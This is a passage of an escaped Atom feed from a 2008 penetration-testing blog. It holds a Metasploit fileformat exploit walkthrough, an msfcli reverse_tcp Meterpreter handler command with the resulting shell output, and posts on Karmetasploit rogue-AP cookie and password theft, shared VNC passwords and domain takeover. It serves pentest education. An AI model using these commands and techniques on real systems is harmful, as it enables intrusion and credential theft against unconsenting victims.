/&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Name      Current Setting     Required    Description                           &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;----      ---------------     --------    -----------                    &lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;    DLL       /home/cg/evil/msf3/data/meterpreter/metsrv.dll  yes       The local path to the DLL to upload   &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;EXITFUNC  process                                         yes       Exit technique: seh, thread, process  &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;LHOST       192.168.0.101                          yes       The local address                     &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;LPORT     4444                                            yes       The local port                        &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Exploit target:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Id  Name                                                        &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;--  ----                                                        &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;0   Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;msf exploit(etrust_pestscan) &gt; exploit&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Started reverse handler&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Creating HTML file ...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] File is located in ./data/exploits/ ...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;msf exploit(etrust_pestscan) &gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fileformat bugs are going to you to require to run the multi/handler so you can catch the return shells.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;cg@WPAD:~/evil/msf3$ ./msfcli &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;Usage: ./msfcli &lt;exploit_name&gt; &lt;option=value&gt; [mode]&lt;/option=value&gt;&lt;/exploit_name&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;====================================================&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Mode           Description                                         &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;----           -----------                                         &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(H)elp         You're looking at it baby!                          &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(S)ummary      Show information about this module                  &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(O)ptions      Show available options for this module              &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(A)dvanced     Show available advanced options for this module     &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(I)DS Evasion  Show available ids evasion options for this module  &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(P)ayloads     Show available payloads for this module             &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(T)argets      Show available targets for this exploit module      &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(AC)tions      Show available actions for this auxiliary module    &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(C)heck        Run the check routine of the selected module        &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;(E)xecute      Execute the selected module                       &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;cg@WPAD:~/evil/msf3$ ./msfcli exploit/multi/handler&lt;br /&gt;PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.0.101 E&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Started reverse handler&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Starting the payload handler...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;***Work your magic to get the client to open the html file***&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;[*] Transmitting intermediate stager for over-sized stage...(89 bytes)&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Sending stage (2650 bytes)&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Sleeping before handling stage...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Uploading DLL (73227 bytes)...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Upload completed.&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Meterpreter session 1 opened (192.168.0.101:4444 -&gt; 192.168.0.103:4360)&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=YHjgRJ"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=YHjgRJ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/5335293163161978932/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5335293163161978932" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/5335293163161978932?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/5335293163161978932" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/metasploit-and-file-format-bugs.html" title="Metasploit and File Format Bugs" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;D0AERXw9cCp7ImA9WxdaE0k.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-1748102999164016134</id><published>2008-08-21T14:23:00.006-04:00</published><updated>2008-08-21T15:08:24.268-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-21T15:08:24.268-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="VNC" /><category scheme="http://www.blogger.com/atom/ns#" term="day in the life" /><title>Shared Passwords Giving Up The Goods</title><content type="html">Shared passwords, especially shared VNC password remind me of the straw house from the three little pigs...&lt;br /&gt;&lt;br /&gt;In addition to the previous post on having the Domain Users group in the Enterprise Admins group (FTW!) on my last trip the organization had decided to use VNC for workstation management instead of Dameware/Remote Desktop.&lt;br /&gt;&lt;br /&gt;Why? I have no idea.  At least with RDP and Dameware you can force admins to use domain credentials to log in.  But for whatever reason they had chose to use VNC on their workstations, servers used RDP. The VNC sessions were password protected&lt;br /&gt;&lt;br /&gt;Well they had some sort of video feed linked to a webpage so people could watch the feeds from a single webpage.  A simple right click on the feed properties showed an un-obfuscated VNC password (even had a check box that could have starred it out...oops).  Surely the VNC properties for the feeds wouldn't be the same VNC for the workstations right?  Wrong, they were. Game over.  We could now log into all the workstations.  We were already Enterprise Admin and could psexec into the workstations but screen shots of watching people read their email just look so much better during the outbrief :-)
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=AJPzNw"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=AJPzNw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/1748102999164016134/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1748102999164016134" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/1748102999164016134?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/1748102999164016134" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/shared-passwords-giving-up-goods.html" title="Shared Passwords Giving Up The Goods" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;CU4ASXg-fyp7ImA9WxdaEU8.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-8521528646974431000</id><published>2008-08-18T23:12:00.017-04:00</published><updated>2008-08-19T01:32:28.657-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-19T01:32:28.657-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="karmasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="karmetasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="karma" /><category scheme="http://www.blogger.com/atom/ns#" term="Wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="Metasploit" /><title>Metasploit + Karma=Karmetasploit Part 2</title><content type="html">Ok, so we have everything up and running (&lt;a href="http://carnal0wnage.blogspot.com/2008/08/playing-with-karmasploit-part-1.html"&gt;first post&lt;/a&gt;) and waiting for some random person...err your lab wifi box to connect to Karmetasploit.&lt;br /&gt;&lt;br /&gt;We take a look at our current network connection before airbase-ng starts doing its thing.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKo9fv6nnwI/AAAAAAAAAQA/ymrYNAq5hdE/s1600-h/blog-karmasploit1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKo9fv6nnwI/AAAAAAAAAQA/ymrYNAq5hdE/s400/blog-karmasploit1.jpg" alt="" id="BLOGGER_PHOTO_ID_5236065132419194626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;*Note the blistering connection I had at the hotel.&lt;br /&gt;&lt;br /&gt;Now we take a look at some of the available APs after airbase-ng starts doing its thing.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/SKo_XvsogII/AAAAAAAAAQQ/Om01Ekk0ZiI/s1600-h/blog-karmasploit2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/SKo_XvsogII/AAAAAAAAAQQ/Om01Ekk0ZiI/s400/blog-karmasploit2.jpg" alt="" id="BLOGGER_PHOTO_ID_5236067193944834178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;And lastly my computer connected to the hhonors AP&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKpC-xSqoZI/AAAAAAAAASM/6EeyxibPiMk/s1600-h/blog-karmasploit3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKpC-xSqoZI/AAAAAAAAASM/6EeyxibPiMk/s400/blog-karmasploit3.jpg" alt="" id="BLOGGER_PHOTO_ID_5236071162922574226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;After that we open up our browser and try to go to google.com and we get the portal page that karmetasploit presents.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/SKpA-AYEupI/AAAAAAAAARA/N-tabgd-e48/s1600-h/blog-karmasploit4.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/SKpA-AYEupI/AAAAAAAAARA/N-tabgd-e48/s400/blog-karmasploit4.gif" alt="" id="BLOGGER_PHOTO_ID_5236068950768663186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But as soon as we click enter or try to browse to a different URL a whole bunch of iframes start doing their thing trying to do the cookie theft and exploitation.  You can see it in the bottom left corner.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/SKpCwQ37hXI/AAAAAAAAAR0/lqKBKNTrnzg/s1600-h/blog-karmasploit5.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/SKpCwQ37hXI/AAAAAAAAAR0/lqKBKNTrnzg/s400/blog-karmasploit5.gif" alt="" id="BLOGGER_PHOTO_ID_5236070913702331762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here we can see the result of ipconfig /all and see that my DHCP Server and DNS server is from karmetasploit.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKpDjZyEsCI/AAAAAAAAASU/U1hvd8FZ1YQ/s1600-h/blog-karmasploit6.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKpDjZyEsCI/AAAAAAAAASU/U1hvd8FZ1YQ/s400/blog-karmasploit6.gif" alt="" id="BLOGGER_PHOTO_ID_5236071792267014178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;A shot of airbase-ng doing its thing&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/SKpD1EU8lwI/AAAAAAAAASc/Te55CvqAa2c/s1600-h/blog-karmasploit7.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/SKpD1EU8lwI/AAAAAAAAASc/Te55CvqAa2c/s400/blog-karmasploit7.gif" alt="" id="BLOGGER_PHOTO_ID_5236072095745349378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Iphones connecting up&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bgJlT6eWjGg/SKpEKtwKfWI/AAAAAAAAASk/gTCET-17Jtw/s1600-h/blog-karmasploit9.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_bgJlT6eWjGg/SKpEKtwKfWI/AAAAAAAAASk/gTCET-17Jtw/s400/blog-karmasploit9.gif" alt="" id="BLOGGER_PHOTO_ID_5236072467642613090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Cookie theft&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_bgJlT6eWjGg/SKpFDPs-t5I/AAAAAAAAASs/5WojZcf83U4/s1600-h/blog-karmasploit8.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_bgJlT6eWjGg/SKpFDPs-t5I/AAAAAAAAASs/5WojZcf83U4/s400/blog-karmasploit8.gif" alt="" id="BLOGGER_PHOTO_ID_5236073438828738450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;POP password gathering&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKpFhVnYWKI/AAAAAAAAAS0/jEnkWT6AEWo/s1600-h/blog-karmasploit10.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKpFhVnYWKI/AAAAAAAAAS0/jEnkWT6AEWo/s400/blog-karmasploit10.gif" alt="" id="BLOGGER_PHOTO_ID_5236073955811940514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I saw the SMB Relay attack attempted a couple of times but I didnt see any of the other client side attacks being launched.  Not sure what the issue is. I'm going to try it with a known vulnerable version of IE6 and see if I can get some better results.  First instinct is that the browser enumeration code in browswer_autopwn isnt working quite right therefore not sending and clients sides out, but I could be wrong.&lt;br /&gt;&lt;br /&gt;That's it for now.
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=7p3Sna"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=7p3Sna" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/8521528646974431000/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=8521528646974431000" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/8521528646974431000?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/8521528646974431000" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/metasploit-karmakarmasploit-part-2.html" title="Metasploit + Karma=Karmetasploit Part 2" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_bgJlT6eWjGg/SKo9fv6nnwI/AAAAAAAAAQA/ymrYNAq5hdE/s72-c/blog-karmasploit1.jpg" height="72" width="72" /></entry><entry gd:etag="W/&quot;CkMEQ3Y9eSp7ImA9WxdaE0k.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-2561397261818164436</id><published>2008-08-18T09:14:00.004-04:00</published><updated>2008-08-21T13:40:02.861-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-21T13:40:02.861-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="day in the life" /><title>Day in the life of pentester #4</title><content type="html">Day in the life of a pentester.&lt;br /&gt;&lt;br /&gt;This one is short and sweet.  Some things you probably shouldn't do.&lt;br /&gt;&lt;br /&gt;1. fail use clear text protocols&lt;br /&gt;2. get caught not following your own password policies&lt;br /&gt;&amp;amp; the best one&lt;br /&gt;3. add your Domain Users group to the Enterprise Admins group...oops ;-)&lt;br /&gt;&lt;br /&gt;Internal test, some simple ARP Spoofing and LDAP query caught in plain text, RDP in, create a user account and add them to the appropriate admin group...done.
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=2VtE33"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=2VtE33" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/2561397261818164436/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2561397261818164436" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/2561397261818164436?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/2561397261818164436" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/day-in-life-of-pentester-4.html" title="Day in the life of pentester #4" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;DUIBRnY6fCp7ImA9WxdbGUk.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-9053570758624853244</id><published>2008-08-17T00:10:00.003-04:00</published><updated>2008-08-17T00:32:37.814-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-17T00:32:37.814-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security Conferences" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="twitter" /><title>Defcon Thoughts</title><content type="html">Everyone else (&lt;a href="http://vmarve.blogspot.com/2008/08/defcon16-from-my-eyesearsnoseand.html"&gt;g0ne&lt;/a&gt;, &lt;a href="http://blog.ncircle.com/blogs/vert/archives/2008/08/why_defcon_sucks.html"&gt;ncircle&lt;/a&gt;, &lt;a href="http://www.terminal23.net/2008/08/highlighted_talks_of_defcon_16.html"&gt;terminal23&lt;/a&gt;) is doing their thoughts on Defcon so I figured I would too.  I've been waiting on a couple of people to actually post the code they talked about but I'm growing impatient and I guess I can use the release for other posts.&lt;br /&gt;&lt;br /&gt;Let's start with the Cons:&lt;br /&gt;-The Badges...oops that sucked...least not getting one when I first paid, the blinky lights were cool.  At least mine worked this year.&lt;br /&gt;-The stench...oops that stunk...like rotting corpse bad.&lt;br /&gt;-The Goons...hmmm what to say...I know you have a tough job with crowd control and whatnot but do you really have to talk to everyone like they are assholes? I'm not sure you have a reason to be screaming at 11am Friday morning, save that shit for Sunday. &lt;br /&gt;-The Crowds...sucks...that narrow ass hallway combined with the stench = no fun&lt;br /&gt;-The Talks...I didn't care for most of the talks (maybe I just picked bad), of course there were a few good ones, but props to everyone that submitted a paper and stood up there in front of a ton of people.  I think the boss is convinced to do BH next year, everyone I talked to that went to BH was pleased with the talks.&lt;br /&gt;&lt;br /&gt;The Pros:&lt;br /&gt;-The Parties...303, hackerpimps, securabit/i-hacker, offensive computing, freakshow, i-sight, core impact, etc&lt;br /&gt;-The People...not the crowds but getting to meet in person people I talk to online all the time...regrets...not making it to the security twits meetup.&lt;br /&gt;-The CTF...I had people explain a to me a little better than last year what the hell is actually going on.  Pretty interesting.&lt;br /&gt;-The Guitar Hero competition...fun!&lt;br /&gt;-The Swag...my green/black defcon coffee cup rulez.&lt;br /&gt;-The Twitter(ing)...very cool watch the twits in real time during talks...mvp to jjx for most tweets or twits or whatever they are called.&lt;br /&gt;&lt;br /&gt;I'll do a separate post on the talks I thought stood out at Defcon.
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=Vc6Bv8"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=Vc6Bv8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/9053570758624853244/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=9053570758624853244" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/9053570758624853244?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/9053570758624853244" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/defcon-thoughts.html" title="Defcon Thoughts" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;A0QFSXsycSp7ImA9WxdbGEk.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-5291035385612584451</id><published>2008-08-15T21:11:00.004-04:00</published><updated>2008-08-15T21:15:18.599-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-15T21:15:18.599-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Crash Course in Penetration Testing" /><category scheme="http://www.blogger.com/atom/ns#" term="toorcon" /><title>Crash Course In Penetration Testing Workshop at Toorcon</title><content type="html">Joe and I will be conducting our Crash Course In Penetration Testing Workshop at Toorcon in September.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://sandiego.toorcon.org/content/section/4/8/"&gt;http://sandiego.toorcon.org/content/section/4/8/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Description&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;strong style="font-weight: normal;"&gt; Instructors:&lt;/strong&gt; Joseph &lt;span class="nfakPe"&gt;McCray&lt;/span&gt; &amp;amp; Chris Gates&lt;br /&gt;&lt;strong style="font-weight: normal;"&gt; Includes:&lt;/strong&gt; 250GB 2.5" USB Harddrive preloaded with lab VMWare images&lt;br /&gt;&lt;br /&gt;This course will cover some of the newer aspects of pen-testing covering; Open Source Intelligence Gathering with Maltego and other Open Source tools, Scanning, Enumeration, Exploitation (Both remote and client-side) and Post-Exploitation relying heavily on the features included in the Metasploit Framework. We'll discuss our activities from both the Whitebox and Blackbox approach keeping stealth in mind for our Blackbox activities.&lt;br /&gt;&lt;br /&gt;Web Application penetration testing will be covered as well with focus on practical exploitation of cross-site scripting (XSS), cross-site request forgery (CSRF), local/remote file includes, and SQL Injection.&lt;br /&gt;&lt;br /&gt;The course will come with a complementary USB Harddrive loaded with the lab Virtual Machine images for you to play with so you can continue to hone your skills and learn new techniques even after the course is finished. Attendees will walk away with a current knowledge of how to pen-test both a network and a web application, all of the basic tools needed, and a set of practice exercises that they can use to improve their skills.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/Carnal0wnageBlog?a=k7rryM"&gt;&lt;img src="http://feeds.feedburner.com/~a/Carnal0wnageBlog?i=k7rryM" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/5291035385612584451/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=5291035385612584451" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8539880144347728238/posts/default/5291035385612584451?v=2" /><link rel="self" type="application/atom+xml" href="http://carnal0wnage.blogspot.com/feeds/posts/default/5291035385612584451" /><link rel="alternate" type="text/html" href="http://carnal0wnage.blogspot.com/2008/08/crash-course-in-penetration-testing.html" title="Crash Course In Penetration Testing Workshop at Toorcon" /><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email></author></entry><entry gd:etag="W/&quot;CU8MR3k8eCp7ImA9WxdaEU8.&quot;"><id>tag:blogger.com,1999:blog-8539880144347728238.post-6958518367415376994</id><published>2008-08-14T14:05:00.012-04:00</published><updated>2008-08-19T01:31:26.770-04:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-19T01:31:26.770-04:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="karmasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting" /><category scheme="http://www.blogger.com/atom/ns#" term="karmetasploit" /><category scheme="http://www.blogger.com/atom/ns#" term="karma" /><category scheme="http://www.blogger.com/atom/ns#" term="Wireless" /><category scheme="http://www.blogger.com/atom/ns#" term="client side attacks" /><category scheme="http://www.blogger.com/atom/ns#" term="Metasploit" /><title>Metasploit + Karma=Karmetasploit Part 1</title><content type="html">HD Moore released some &lt;a href="http://metasploit.com/dev/trac/wiki/Karmetasploit"&gt;documentation&lt;/a&gt; to get karmetasploit working with the framework.&lt;br /&gt;&lt;br /&gt;First you'll have to get an updated version of &lt;a href="http://www.aircrack-ng.org/doku.php?id=main#download"&gt;aircrack-ng&lt;/a&gt; because you'll need &lt;a href="http://www.aircrack-ng.org/doku.php?id=airbase-ng"&gt;airbase-ng&lt;/a&gt;. I had 0.9.1 so I had to download and &lt;a href="http://www.aircrack-ng.org/doku.php?id=install_aircrack"&gt;install&lt;/a&gt; the current stable version (1.0-rc1).  If you have an old version you should be good dependency-wise. Ah, but there is a &lt;a href="http://trac.aircrack-ng.org/ticket/466"&gt;patch&lt;/a&gt;,(I used the 2nd patch), so apply that before you make/make install.&lt;br /&gt;&lt;br /&gt;You may also need a current version of &lt;a href="http://madwifi.org/"&gt;madwifi&lt;/a&gt; drivers (I used 0.9.4).  I recently updated my kernel and that had hosed all my madwifi stuff up, so I had to reinstall.  Ok, so got an updated version of aircrack, patched airbase-ng, and madwifi drivers and can inject packets?  Let's continue.&lt;br /&gt;&lt;br /&gt;Let's do our aireplay-ng test to see if things are working:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;root@WPAD:/home/cg# aireplay-ng --test ath40&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:55:44  Trying broadcast probe requests...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:55:44  Injection is working!&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:55:46  Found 5 APs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;19:55:46  Trying directed probe requests...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:55:46  00:1E:58:33:83:71 - channel: 4 - 